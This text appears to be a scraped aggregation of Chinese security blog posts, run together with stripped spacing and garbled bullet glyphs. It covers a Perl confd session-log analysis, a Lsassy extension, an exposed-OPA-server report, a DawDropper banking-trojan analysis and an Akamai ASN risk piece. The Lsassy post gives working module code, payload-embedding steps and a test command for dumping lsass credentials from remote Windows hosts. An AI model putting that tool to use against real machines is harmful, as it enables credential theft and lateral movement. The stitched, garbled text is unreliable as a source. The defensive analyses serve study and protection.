join(',',map{'?'}keys%{$args-{facility}}).')'



if$args-{facility};



my%sql=(



sessions='SELECTsid,facility,srcip,username,time,endtime,state'



.'FROMconfd_sessions'.$facility_selection



.'ORDERBYtimeDESCLIMIT?',



session='SELECTsid,facility,srcip,username,time,endtime,state'



.'FROMconfd_sessionsWHEREsid=?',



nodes='SELECT*FROMconfd_nodesWHEREsid=$1ORDERBYtimeDESC',



objects='SELECT*FROMconfd_objectsWHEREsid=$1ORDERBYtimeDESC',



);



#Preparedatabaseaccess.



my$db=Astaro:ADBS-new(dbName='reporting')orreturn;



while(my($key,$query)=each%sql){



$db-registerSQL($key,$query)orreturn;



}



#ListConfdsessions.



my$sessh;



if($args-{sid}){



$sessh=$db-getHandle('session')orreturn;



$sessh-execute($args-{sid})orreturn;



}elsif($args-{facility}){



$sessh=$db-getHandle('sessions')orreturn;



$sessh-execute(keys%{$args-{facility}},$args-{max})orreturn;



}else{



$sessh=$db-getHandle('sessions')orreturn;



$sessh-execute($args-{max})orreturn;



}



my$sessions=$sessh-fetchall_arrayref({});



my$nodeh=$db-getHandle('nodes')orreturn;



my$objh=$db-getHandle('objects')orreturn;



foreachmy$sd(@$sessions){



#Tweaksessiondata.



$sd-{time}=~tr/-/:-/;



$sd-{endtime}=~tr/-/:-/ifdefined$sd-{endtime};



$sd-{user}=delete$sd-{username};#userisareservedwordinSQL



$sd-{user}.='(SUM)'if$sd-{facility}eq'acc_sso';



$sd-{user}=utils:Sanitize:sanitize($sd-{user})if$sd-{user};



#Fetchnodechanges.



$nodeh-execute($sd-{sid})orreturn;



foreachmy$node(@{$nodeh-fetchall_arrayref({})}){



$node-{time}=~tr/-/:-/;



$node-{node_descr}=Message:get_phrase(



'N',$node,{Nattrs=['node']});



$sd-{main}{$node-{node}}||=[];



push@{$sd-{main}{$node-{node}}},$node;



}



#Fetchobjectchanges.



$objh-execute($sd-{sid})orreturn;



foreachmy$object(@{$objh-fetchall_arrayref({})}){



my$attrs=$object-{attrs}||[];



$object-{attributes}=[];



while(@$attrs){



my$name=shift@$attrs;



$object-{'attr_$name'}=shift@$attrs;



$object-{'oldattr_$name'}=shift@$attrs;



$object-{'descr_$name'}=Message:get_phrase(



'A',$object,{attr=$name});



push@{$object-{attributes}},$name;



}



delete$object-{attrs};



if(@{$object-{attributes}}){



$object-{attributes}=[sort@{$object-{attributes}}];



}else{



delete$object-{attributes};



}



$object-{time}=~tr/-/:-/;



$object-{obj_descr}=Message:get_phrase('O',$object,{});



$sd-{objects}{$object-{ref}}||=[];



push@{$sd-{objects}{$object-{ref}}},$object;



}



}



$db-disconnect;



return$sessions;



}代碼分析：



從數據庫reporting中分別執行以下操作實現數據讀取：



sessions：SELECTsid,facility,srcip,username,time,endtime,stateFROMconfd_sessions;



nodes：SELECT*FROMconfd_nodes;



objects：SELECT*FROMconfd_objects;經過測試分析，confd_sessions存儲Session信息。



讀取Session信息的cmd命令：



psqlreporting-Upostgres-c'SELECTsid,facility,srcip,username,time,endtime,stateFROMconfd_sessions;'(2)文件操作



關鍵代碼：



sub_iterate_files{



my($self,$args)=@_;



#choosethefirstfiletoprocess



my$filename='/var/log/confd.log';



if(defined$args-{time}){



my@then;



if($args-{time}=~/^(\d{4}):(\d\d):(\d\d)/){



@then=(0,0,12,$3,$2-1,$1-1900);



}else{



@then=localtime($args-{time});



}



my$then=POSIX:strftime('%F',@then);



my$now=POSIX:strftime('%F',localtime);



$filename=POSIX:strftime(



'/var/log/confd/%Y/%m/confd-%Y-%m-%d.log.gz',



@then,



)if$thenne$now;



}



#processthefirstfile



my$sessions=[];



my$sdata={};



_parse_file($self,$filename,$sessions,$sdata,$args);



#ifneeded,processarchivedlogfiles



if(@$sessions$args-{max}not$args-{time}){



my$iter=File:Next:files({



file_filter=sub{/\.log\.gz$/},



sort_files=\File:Next:sort_reverse,



},'/var/log/confd');



while(@$sessions$args-{max}){



$filename=$iter-();



lastunlessdefined$filename;



my@new_sessions;



_parse_file($self,$filename,\@new_sessions,$sdata,$args);



push@$sessions,@new_sessions;



}



}



#limitthenumberofsessionstoreporton



splice@$sessions,$args-{max}if@$sessions=$args-{max};



return[@{$sdata}{@$sessions}];



}代碼分析：



讀取文件/var/log/confd.log，/var/log/confd.log只能保存現在時間到之前一段時間的日誌，更早時間的日誌會保存在/var/log/confd/%Y/%m/confd-%Y-%m-%d.log.gz，例如2022年5月16日的日誌對應位置為/var/log/confd/2022/05/confd-2022-05-16.log.gz



經過測試分析，/var/log/confd.log存儲Session信息。



7.編輯文件中存儲的Session信息查看登錄成功的信息：



cat/var/log/confd.log|grepsuccess返回結果示例：



2022:05:23-00:19:33testconfd[41177]:IRole:authenticate:185()=id='3106'severity='info'sys='System'sub='confd'name='authenticat ionsuccessful'user='admin'srcip='192.168.1.2'sid='8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab'facility='webadmin'client='webadmin.plx'cal l='new'May2300:19:33confd[41177]:Dsys:AUTOLOAD:307()=id='3100'severity='debug'sys='System'sub='confd'name='externalcall'user='admin's rcip='192.168.1.2'facility='webadmin'client='webadmin.plx'lock='none'method='get_SID'從結果中獲得sid為8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab



篩選出指定sid的信息：



cat/var/log/confd.log|grep8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab返回結果示例：



2022:05:23-00:19:33testconfd[41177]:IRole:authenticate:185()=id='3106'severity='info'sys='Sys


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
0x00 前言在之前的文章《渗透基础——远程从lsass.exe进程导出凭据》 介紹了Lsassy的用法，Lsassy能夠實現遠程從lsass.exe進程導出憑據。本文將要在Lsassy的基礎上進行二次開發，添加一個導出憑據的方法，記錄細節。



0x01 簡介本文將要介紹以下內容：



马云惹不起马云二次開發的細節



马云惹不起马云 開源代碼



0x02 導出憑據的方法在之前的文章《渗透基础——从lsass.exe进程导出凭据》 提到過使用RPC控制lsass加載SSP的方式向lsass.exe進程注入dll，由dll來實現dump的功能，這個方法是Lsassy缺少的。



這個方法共分為兩部分：



(1)加載器使用RPC控制lsass進程加載dll文件



可參考XPN開源的代碼：



https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e



在編譯代碼時，為了提高通用性，編譯選項選擇在靜態庫中使用MFC，在原代碼的基礎上添加如下代碼：



#pragmacomment(lib,'Rpcrt4.lib')編譯代碼生成文件rpcloader.exe



(2)dll文件dll文件實現從lsass.exe進程導出憑據，代碼可參考：



https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c



dll加載時會將dump文件保存為c:\windows\Temp\dumpert.dmp



編譯代碼生成文件dumpert.dll



經過以上操作，得到文件rpcloader.exe和dumpert.dll，作為二次開發的準備。



0x03 二次開發的細節1.添加一個需要指定文件路徑的dump方法格式參考：https://github.com/Hackndo/lsassy/blob/master/lsassy/dumpmethod/dummy.py.tpl



根據參考格式寫出模塊代碼，我這裡額外做了一些標記，細節如下：



fromlsassy.dumpmethodimportIDumpMethod,Dependency



classDumpMethod(IDumpMethod):



custom_dump_path_support=False



custom_dump_name_support=False



dump_name='dumpert.dmp'//進程dump文件保存的文件名



dump_share='C$'//進程dump文件保存的磁盤



dump_path='\\Windows\\Temp\\'//進程dump文件保存的路徑



def__init__(self,session,timeout):



super().__init__(session,timeout)



self.loader=Dependency('rpcloader','rpc.exe')//rpcloader為命令行使用的參數名，rpc.exe為上傳文件保存的文件名



self.dll=Dependency('dll','rpc.dll')//dll為命令行使用的參數名，rpc.dll為上傳文件保存的文件名



defprepare(self,options):



returnself.prepare_dependencies(options,[self.loader,self.dll])//確認命令行參數是否正確



defclean(self):



self.clean_dependencies([self.loader,self.dll])//清除上傳的文件



defget_commands(self,dump_path=None,dump_name=None,no_powershell=False):



cmd_command='''{}{}'''.format(



self.loader.get_remote_path(),self.dll.get_remote_path()//執行的命令：c:\windows\temp\rpc.exec:\windows\temp\rpc.dll



)



pwsh_command='''{}{}'''.format(



self.loader.get_remote_path(),self.dll.get_remote_path()



)



return{



'cmd':cmd_command,



'pwsh':pwsh_command



}將以上代碼保存至python \Lib\site-packages\lsassy\dumpmethod\rawrpc.py



注：



上傳的文件可以使用隨機名稱，代碼self.loader=Dependency('rpcloader', 'rpc.exe')



可修改為self.loader=Dependency('rpcloader', ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + '.exe')，代碼self.dll=Dependency('dll', 'rpc.dll')可修改為self.dll=Dependency('dll', ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + '.dll')



測試命令：



lsassy-uAdministrator-pPassword1192.168.1.1-mrawrpc-Orpcloader_path=c:\test\rpcloader.exe,dll_path=c:\test\dumpert.dll該方法會將本地的c:\test\rpcloader.exe和c:\test\dumpert.dll複製到遠程主機並命名為c:\windows\temp\rpc.exe和c:\windows\temp\rpc.dll，將lsass進程的dump文件保存為c:\windows\temp\dumpert.dmp



2.添加一個全自動的dump方法為了使以上整個過程自動化，這裡可以選擇將exe和dll文件作base64編碼保存在變量中。



base64編碼的實現代碼：



importbase64



withopen('rpcloader.exe','rb')asfr:



content=fr.read()



data1=base64.b64encode(content).decode('utf8')



withopen('rpcloader-base64.txt','w')asfw:



fw.write(data1)



withopen('dumpert.dll','rb')asfr:



content=fr.read()



data1=base64.b64encode(content).decode('utf8')



withopen('dumpert-base64.txt','w')asfw:



fw.write(data1)將生成rpcloader-base64.txt和dumpert-base64.txt替換以下代碼中的base64 



importbase64



importrandom



importstring



fromlsassy.dumpmethodimportIDumpMethod,Dependency



classDumpMethod(IDumpMethod):



custom_dump_path_support=False



custom_dump_name_support=False



dump_name='dumpert.dmp'



dump_share='C$'



dump_path='\\Windows\\Temp\\'



def__init__(self,session,timeout):



super().__init__(session,timeout)



self.loader=Dependency('rpcloader',''.join(random.choice(string.ascii_letters+string.digits)for_inrange(8))+'.exe')



self.loader.content=base64.b64decode('')



self.dll=Dependency('dll',''.join(random.choice(string.ascii_letters+string.digits)for_inrange(8))+'.dll')



self.dll.content=base64.b64decode('')



defprepare(self,options):



returnself.prepare_dependencies(options,[self.loader,self.dll])



defclean(self):



self.clean_dependencies([self.loader,self.dll])



defget_commands(self,dump_path=None,dump_name=None,no_powershell=False):



cmd_command='''{}{}'''.format(



self.loader.get_remote_path(),self.dll.get_remote_path()



)



pwsh_command='''{}{}'''.format(



self.loader.get_remote_path(),self.dll.get_remote_path()



)



return{



'cmd':cmd_command,



'pwsh':pwsh_command



}將以上代碼保存至python \Lib\site-packages\lsassy\dumpmethod\rawrpc_embedded.py



測試命令：



lsassy-uAdministrator-pPassword1192.168.1.1-mrawrpc_embedded3.打包成exe文件完整的打包命令：



pyinstaller-Fconsole.py--hidden-importunicrypto.backends.pure.DES--hidden-importunicrypto.backends.pure.TDES--hidden-importunicrypto.backends.pure.AES--hidden-importunicrypto.backends.pure.RC4--hidden-importlsassy.dumpmethod.comsvcs--hidden-importlsassy.dumpmethod.comsvcs_stealth--hidden-importlsassy.dumpmethod.d llinject--hidden-importlsassy.dumpmethod.dumpert--hidden-importlsassy.dumpmethod.dumpertdll--hidden-importlsassy.dumpmethod.edrsandblast--hidden-importlsassy.dumpmethod.mirrordump--hidden-importlsassy.dumpmethod.mirrordump_embedded--hidden-importlsassy.dumpmethod.nanodump--hidden-importlsassy.dumpmethod.ppldump--h idden-importlsassy.dumpmethod.ppldump_embedded--hidden-importlsassy.dumpmethod.procdump--hidden-importlsassy.dumpmethod.procdump_embedded--hidden-importlsassy.dumpmethod.rdrleakdiag--hidden-importlsassy.dumpmethod.wer--hidden-importlsassy.exec.mmc--hidden-importlsassy.exec.smb--hidden-importlsassy.exec.smb_stealth --hidden-importlsassy.exec.task--hidden-importlsassy.exec.wmi--hidden-importlsassy.output.grep_output--hidden-importlsassy.output.json_output--hidden-importlsassy.output.pretty_output--hidden-importlsassy.output.table_output--hidden-importlsassy.dumpmethod.rawrpc--hidden-importlsassy.dumpmethod.rawrpc_embedded0x04 小結Lsassy將不同的功能模塊化，結構設置合理，添加dump方法僅需要修改Dumper module對應的實現代碼。我已經將新添加的模塊推送至Lsassy，在最新版的Lsassy可以直接使用這個模塊。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
本文會介紹OPA 以及它的用途，並結合已發現的案例來說明通過Shodan 識別389 個暴露的OPA 服務器後發現了什麼，以及暴露的OPA 如何對用戶的應用程序的整體安全性產生哪些負面影響。



今年早些時候，趨勢科技發布了一份關於通過Shodan 發現243469 個暴露暴露的Kubernetes 節點的報告。另外，研究人員還發現了389 個易受攻擊的開放策略代理(OPA) 服務器。 OPA 是一個開源的雲本地計算基金會(CNCF) 項目，使用Go 編程語言開發，目前已被用作許多策略執行工具的主引擎，迄今為止下載量超過1.3 億次。它使用稱為Rego 的特定聲明性策略語言來設計其策略。 OPA 可用於各種系統和環境，例如Kubernetes、微服務、API 網關和其他雲本地工具。如果OPA服務器不受保護，它們的策略可能會洩露敏感的應用程序信息，包括用戶配置文件和正在使用的服務。這些暴露的策略還可能無意中洩露關於系統應該如何工作的信息，以繞過對已實現策略的限制，攻擊者可以利用這些限制進行攻擊。



 Fig1_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg



OPA 架構概述



這篇文章討論了研究人員在通過Shodan 識別出數百個暴露的OPA 服務器後發現的問題，以及暴露的OPA 如何對你的應用程序的整體安全性產生負面影響。



策略即代碼（PolicyAsCode）的需求Policy As Code本質上都是讓原來對Policy 描述抽象成代碼，從而擁有代碼的特性（復用性、抽象性、可執行、可測試、版本化等），以此來獲得更高層次的抽象。



在當今包含sprint、scrum、container、DevOps 和DevSecOps 以及雲的運行環境中，如果不使用自動化，網絡、安全和合規團隊很難跟上開發團隊和業務需求。這就是為什麼基礎設施即代碼(IaC)、GitOps 和安全即代碼(SaC) 等方法在保護雲環境和微服務方面變得必不可少的原因。所有這些方法共同實現雲安全，目的就是幫助在流程和部署開始時集成安全性，以防止威脅和風險。



但是合規性呢？你如何檢查、執行和持續監控你的系統，以確保它們遵循安全最佳實踐並遵守最新的安全標準，例如支付卡行業數據安全標準(PCI-DSS)、健康保險流通與責任法案(HIPAA)，以及系統和組織控制(SOC 2)？這就是策略即代碼發揮作用的地方，可以顯著幫助加快合規性創建、自動化和驗證過程。



策略即代碼（或合規性即代碼）已成為實施、管理和跟踪系統策略更改並確保它們在雲本地系統4C 中應用和實施的好方法：代碼、容器、集群和雲。



使用與IaC 和SaC 類似的方法，策略即代碼使用軟件開發中已經使用的所有出色工具和技術來解決合規性問題。一方面，策略以特定文件格式（如JSON 或YAML）或使用特定編程語言（如Python 或Rego）創建和存儲。這些存儲在Git 存儲庫中，用於版本控制、跟踪和可審計性。這樣，組織可以在發生更改時在這些存儲庫上開發和触發管道和自動化。策略即代碼可以在代碼審查、自動化測試以及持續集成和交付(CI/CD) 管道中以編程方式實施，確保更改在到達生產系統之前得到適當的驗證和測試。 OPA 是可用於策略即代碼流程的領先開源工具之一。它可用於網絡上的許多不同應用程序和系統。儘管如此，它的主要採集者之一是Kubernetes 集群的准入控制器，其中它的Gatekeeper版本作為任何試圖在集群中運行的容器的安全器。



Shodan 上暴露的服務器在分析暴露的雲本地工具，特別是暴露暴露的kubelet 時，研究人員還通過Shodan 發現了近400 個暴露在8181 端口上的OPA 服務器，而且這個數字在過去幾個月中一直在增加。端口8181 是OPA 服務器的默認端口，它們都具有可用於未經身份驗證和未經授權的請求的API 端點。根據研究人員的Shodan 搜索，美國、韓國和德國是暴露OPA 數量最多的前三個國家。



研究人員使用列表策略端點來收集有關該實例中安裝的所有策略模塊的信息，如官方OPA 文檔中所示。然後，研究人員查詢了每389 個開放的OPA 服務器，以識別、收集和分析它們可以通過其策略模塊信息暴露的敏感信息類型。研究人員主要關注Policy API 來列出策略和分析數據。



首先，研究人員通過查詢/v1/config/端點來分析安裝在這些服務器上的OPA 的版本。如下圖所示，大多數暴露的服務器都使用過時的OPA 版本，例如0.34.2。在撰寫本文時，最新的OPA 版本是0.43.0。



 Fig3_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg



根據在Shodan 上找到的數據，暴露的OPA 服務器數量及其版本



在上圖中，研究人員可以看到通過Shodan 找到的一個暴露OPA 服務器的示例。除了能夠通過此頁面查詢服務器之外，如果用戶輸入數據沒有得到適當的清理和驗證，它還可以作為命令注入攻擊的入口點。還有REST API 被暴露和未經身份驗證的問題。



 Fig4_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg



在Shodan 上發現了一個過時(0.29.3) 和暴露的OPA 服務器的示例。截至撰寫本文時，此OPA 服務器的最新版本為0.43。



同時，這是對該暴露服務器的/v1/policies 端點發出GET 請求的結果：



 Fig5_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg



從暴露的OPA 服務器訪問列表策略(/v1/policies) 端點以列出所有可用策略



在美化生成的policy.json文件並分析其內容後，研究人員從policy文件本身中發現了一些特殊的信息：



在這個暴露的OPA 服務器上有五個可用的規則，其ID 提供了有關其用途的線索；



'systems/ea2c8e2dbfa748608077be0d6fd45369/rules/rules.rego'；



'systems/ea2c8e2dbfa748608077be0d6fd45369/test/test.rego'；



'systems/ea2c8e2dbfa748608077be0d6fd45369/product/manager/rules/rules.rego'；



'systems/ea2c8e2dbfa748608077be0d6fd45369/product/rules/rules.rego'；



'systems/ea2c8e2dbfa748608077be0d6fd45369/backoffice/rules/rules.rego'；第一條規則是默認規則，默認返回值設置為false。第二條規則是測試規則；



研究人員可以訪問此暴露的OPA 服務器上可用的所有策略，這些策略可以以原始和抽象語法樹(AST) 格式訪問；



一些規則可以揭示內部應用程序角色，例如“發布者”和“編輯者”；



一些base64 編碼的數據轉換為“助手”。



分析暴露的OPA策略在從所有這些暴露的OPA 服務器收集和分析了近400 條策略之後，研究人員能夠找到以下信息：



這些策略中至少有33%的策略包含與應用程序相關的某種敏感信息，包括用戶配置文件、正在使用的服務，以及將通過Amazon Web Services (AWS) API 網關觸發API 的URL，甚至是一些內部系統URL。



這些策略中有91% 包含有關係統應如何運行以繞過基於已實施策略的某些限制的某種信息。



 Fig6_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg



在收集的OPA 策略中找到的相關和敏感信息的百分比



以下是一些服務和URL 示例，僅通過查看策略和它們為未經身份驗證的請求提供的輸出即可找到：



 Fig7B_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg



僅通過查看OPA 策略即可找到的服務和URL 示例



通過適當的請求或令牌，攻擊者可以獲得有關這些服務的更多信息，並尋找漏洞或其他入口點以進入組織的系統。研究人員強烈建議目前將OPA 用作其策略即代碼解決方案的公司，以確保他們不會無意中在線暴露其API 和策略。在某些情況下，公司可能會在沒有意識到的情況下使用OPA，Kubernetes 託管服務的多個提供商依賴OPA 來執行策略。



出於安全考慮，研究人員僅從REST API 查詢列表策略端點。但是，還有許多其他可用的端點和方法，它們不僅列出了敏感信息，而且還允許攻擊者編輯甚至刪除暴露的OPA服務器中的數據和對象。其中包括：



 8.png



所有這些都可以在OPA REST API 文檔中找到。



保護OPA 服務器首先，OPA 服務器不應該暴露在互聯網上。因此，有必要限制該訪問，以避免任何人通過REST API 繞過你的OPA 配置。對於授權用例，OPA部署的標準模式是讓OPA與請求它做出決策的應用程序運行在同一台設備上。這樣，組織就不需要將OPA 暴露給互聯網或內部網絡，因為通信是通過localhost 接口執行的。此外，以這種方式部署OPA 意味著組織通常不需要為REST API 啟用身份驗證/授權，因為只有在同一台設備上運行的進程才能查詢OPA 實例。為此，可以使用“opa run --addr localhost:8181”啟動OPA，使其僅綁定到localhost 接口。



其次，當使用策略即代碼工具(如OPA)時，在源代碼管理(SCM)系統等位置保護策略是很重要的。通過分支保護和代碼所有者等特性，擁有適當的訪問控制來監視可以更改這些策略中的哪些內容也是至關重要的。有了SCM系統的強大功能，組織可以創建對這些策略的任何更改的更精簡的審查和批准過程，確保源代碼中的任何內容也反映在生產OPA服務器中。



TLS 和HTTPS如上所述，在Shodan 上發現的這些暴露的OPA 服務器中的大多數都沒有使用任何類型的通信加密，因為默認情況下沒有啟用這種加密。要配置TLS 和HTTPS，系統管理員需要創建證書和私鑰，並提供以下命令行標誌：



TLS 證書的路徑：--tls-cert-file=



TLS 私鑰的路徑：--tls-private-key-file=



有關此過程的最新信息，請參閱有關TLS 和HTTPS 的OPA 文檔。



身份驗證和授權默認情況下，OPA 身份驗證和授權機制是關閉的。這在OPA 的官方文檔中有所描述，系統管理員和DevOps 工程師在安裝後立即啟用這些機制至關重要。



根據OPA 文檔，這兩種機制都可以通過以下命令行標誌進行配置：



身份驗證：--authentication=



這可以是不記名令牌(--authentication=token) 或客戶端TLS 證書(--authentication=tls)。



授權：--authorization=



這使用Rego 策略來決定誰可以在OPA 中做什麼。它可以通過在OPA 啟動期間設置--authorization=basic 標誌並提供最小授權策略來啟用。



有關此過程的更多詳細信息，請參閱OPA 關於身份驗證和授權的官方文檔。



雲安全建議Kubernetes 是開發人員中最受歡迎的平台之一，其高采用率證明了這一點，並且沒有任何很快放緩的跡象。隨著用戶基礎的不斷擴大，Kubernetes的部署需要確保安全，免受威脅和風險。為此，開發人員可以將策略作為代碼工具，它可以幫助以自動化的方式實現控制和驗證過程。



除了努力應用一些基本的內務管理規則來保證Kubernetes 集群的安全之外，組織還可以使用特定於雲的安全解決方案。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
我們會在本文介紹一種名為DawDropper的銀行木馬滴管，並詳細說明了其與深層網絡中的DaaS相關的網絡犯罪活動。



今年，攻擊者通過惡意下載程序偷偷地將越來越多的銀行木馬添加到GooglePlay商店，這證明這種技術可以有效地逃避檢測。此外，由於對傳播移動惡意軟件的新方法有很高的需求，一些攻擊者聲稱他們的滴管可以幫助其他網絡犯罪分子在GooglePlay商店上傳播他們的惡意軟件，從而產生了滴管即服務(DaaS)模型。



早在2021年下半年，就有研究人員發現了一個惡意活動，該活動使用了一種新的dropper變體，我們稱之為DawDropper。 DawDropper以JustIn:VideoMotion、DocumentScannerPro、ConquerDarkness、simpliCleaner和UniccQRScanner等多個Android應用為幌子，使用第三方雲服務FirebaseRealtimeDatabase來逃避檢測並動態獲取有效載荷下載地址。它還在GitHub上託管惡意負載。截至報告時，這些惡意應用程序已不再在GooglePlay商店中提供。



 1.png



DawDropper以前在GooglePlay商店中可用的惡意應用程序



我們觀察到新的DawDropperdropper的技術細節，查看了2022年初發布的使用惡意滴管銀行木馬的簡史，並在這篇文章中討論了與暗網中的DaaS相關的網絡犯罪活動。



DawDropper技術分析根據我們的觀察，DawDropper的變體可以釋放四種類型的銀行木馬，包括Octo、Hydra、Ermac和TeaBot。所有DawDropper變體都使用Firebase實時數據庫（一種用於存儲數據的合法雲託管NoSQL數據庫）作為其命令和控制(CC)服務器，並在GitHub上託管惡意負載。



 2.png



DawDropper感染鏈



 3.png



託管Octo有效負載的GitHub存儲庫



 4.png



託管Ermac有效負載的GitHub存儲庫



 5.png



託管Hydra有效負載的GitHub存儲庫



Clast82和DawDropper之間的相似之處有趣的是，我們發現CheckPointResearch在2021年3月報告的另一個名為Clast82的dropper也使用Firebase實時數據庫作為CC服務器。



 6.png



從CC服務器獲取的數據格式



DawDropperCC服務器返回的數據類似於Clast82數據：



 7.png



DawDropperCC服務器響應



 8.png



另一個DawDropper變體的CC服務器響應，添加了安裝指標和安裝新更新的提示



Octo有效載荷DawDropper的惡意負載屬於Octo惡意軟件家族，這是一種模塊化和多階段的惡意軟件，能夠竊取銀行信息、攔截短信和劫持受感染的設備。 Octo也稱為Coper，歷史上一直用於針對哥倫比亞的網上銀行用戶。



根據我們的分析，DawDropper的Octo惡意軟件負載與之前報導的變體相似。該數據包使用編程語言關鍵字來混淆惡意功能。



 9.png



2022年3月和6月部署的同類型Octo有效載荷包



一旦Octo惡意軟件在受害者的設備中成功啟動並獲得主要權限，它將保持設備喚醒並註冊預定服務以收集敏感數據並將其上傳到其CC服務器。它還使用虛擬網絡計算(VNC)來記錄用戶的屏幕，包括銀行憑證、電子郵件地址和密碼以及PIN等敏感信息。該惡意軟件還通過關閉設備的背光並關閉設備的聲音來隱藏攻擊，從而導致用戶的屏幕變黑。



 10.png



Octo惡意軟件感染鏈



該惡意軟件還可以禁用GooglePlayProtect（通過設備的應用程序並檢查攻擊）並收集用戶數據，包括受感染手機的AndroidID、聯繫人列表、已安裝的應用程序，甚至是短信。



2022年初的迭代史為了更好地理解銀行木馬通過惡意dropper傳播的趨勢，我們必須回顧自2022年初以來，滴管是如何在GooglePlayStore上出現的，分析這些滴管如何彼此不同和演變，並了解網絡犯罪分子是如何傳播他們。



 11.png



2022年上半年通過滴管傳播的銀行木馬時間線



銀行滴管之間的主要區別儘管這些銀行滴管的主要目標是相同的，即在受害者的設備上傳播和安裝惡意軟件。但我們已經觀察到，這些銀行滴管在實現惡意程序的方式上存在顯著差異。例如，今年早些時候出現的銀行滴管具有硬編碼的有效載荷下載地址。同時，近期上線的銀行滴管往往會隱藏負載的實際下載地址，有時會使用第三方服務作為CC服務器，還會使用GitHub等第三方服務託管惡意負載。



 12.1.png



 12.2.png



 12.3.png



 12.4.png



Vulturdropper(SHA-256:00a733c78f1b4d4f54cf06a0ea8cc33604512d6032ef4ef9114c89c700bfafcf)，又名Brunhilda，於2020年底首次被報導為DaaS。 2022年1月，我們觀察到它直接在受感染設備上下載惡意負載，並有自己的方法解密惡意載荷。



 13.png



Vulturdropper的下載文件



 14.png



Vulturdropper的惡意負載解密進程



同樣於2022年1月發布的Sharkbot滴管（SHA-256:7f55dddcfad05403f71580ec2e5acafdc8c9555e72f724eb1f9e37bf09b8cc0c）具有獨特的行為：它不僅充當滴管，還請求訪問權限並響應所有用戶界面(UI)事件受感染的設備。



 15.png



Sharkbotdropper的請求服務器



 16.png



Sharkbotdropper從響應中獲取下載URL



與此同時，2022年4月發布的TeaBotdropper使用GitHub託管其惡意軟件負載。但是，TeaBot使用另一個GitHub存儲庫來獲取下載地址，而DawDropper則使用Firebase實時數據庫。



DaaS暗網活動在對使用滴管的銀行木馬的調查中，我們觀察到，2021年首次報告的其中一個滴管是Gymdrop，它連接到網絡一個攻擊者可以用來管理的管理面板（trackerpdfconnect[.]com和smartscreencaster[.]online）滴管和有效載荷。我們還發現Gymdrop在一個暗網論壇上被宣傳為典型的DaaS。



 17.png



Hydradropper的Gymdrop管理面板



 18.png



2022年2月地下論壇中的Gymdrop管理面板登錄頁面



安全建議攻擊者不斷尋找逃避檢測和感染盡可能多設備的方法。在半年的時間裡，我們已經看到銀行木馬如何改進其技術進程以避免被檢測到，例如將惡意負載隱藏在滴管中。隨著越來越多的銀行木馬通過DaaS獲得，攻擊者將有一種更簡單、更經濟高效的方式來傳播偽裝成合法應用程序的惡意軟件。我們預計這種趨勢將繼續下去。用戶應採用以下安全安全措施：



始終檢查應用評論，看看用戶是否表達了不尋常的擔憂或負面體驗。



在調查應用開發商和發行商時進行盡職調查，避免從看起來可疑的網站下載應用程序。



避免安裝來歷不明的應用程序。



移動用戶可以通過使用移動安全解決方案實時掃描移動設備並按需檢測惡意應用程序或惡意軟件以阻止或刪除它們，從而幫助最大限度地緩解這些欺詐性應用程序帶來的威脅。這些應用程序適用於Android和iOS。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
在互聯網中，一個自治系統(AS)是一個有權自主地決定在本系統中應採用何種路由協議的小型單位。這個網絡單位可以是一個簡單的網絡也可以是一個由一個或多個普通的網絡管理員來控制的網絡群體，它是一個單獨的可管理的網絡單元(例如一所大學，一個企業或者一個公司個體)。一個自治系統有時也被稱為是一個路由選擇域（routingdomain）。一個自治系統將會分配一個全局的唯一的號碼，有時我們把這個號碼叫做自治系統號（ASN）。通過自治系統號（ASN）預判攻擊發生的可能性是出於以下7個方面的考慮：



1.利用Akamai（一家網路安全公司）對互聯網趨勢和活動的廣泛了解，Akamai研究人員一直在分析自治系統號(ASN)，以評估大量互聯網的風險。



2.ASN包含受管理的ISP、雲計算公司、跨國集團以及小型組織的IP地址池。



3.這些ASN的各種特徵（包括其註冊位置、提供商類型以及管理ASN中IP使用的策略）可能會影響攻擊者被發現使用這些ASN中的IP的可能性。



4.了解ASN的惡意性可以讓安全從業人員對任何給定IP的風險做出更明智的預測，即使它不是已知的威脅。



5.惡意ASN更有可能包含用於託管網絡釣魚網站、惡意文件、殭屍網絡和掃描程序的IP。 “可能的惡意”ASN表示遇到惡意IP的概率為七分之一或更高。



6.對流量的分析表明，“可能的惡意”ASN佔所有在線IPv4地址的不到2%，但它們接收的互聯網流量超過5%。



7.此外，“潛在惡意”類別中的ASN在互聯網上所有IPv4地址中的佔比不到5%，但它們接收的互聯網流量卻超過18%，這表明惡意和合法流量可以由同一個ASN提供服務。



IP智能化有很多用途：例如，防火牆或DNS查詢後阻止。基於IP預先確定“通過/不通過”的能力是一項重要的防禦措施。



Akamai安全研究人員利用Akamai對在線流量的廣泛可見性，創建了在線ASN的全面映射，以評估惡意地址出現在ASN中的可能性。在這篇文章中，我們將詳細介紹ASN，以及ASN對風險評估可能產生的影響。我們還將檢查惡意ASN等。



風險評估現狀由於動態IP、CDN和託管服務的存在，基於IP的阻止可能是非常危險。個人和組織可能會受到不同程度的影響。例如，錯誤地屏蔽一個社交媒體網站的IP可能只會讓一名員工感到無所適從，影響正常工作。



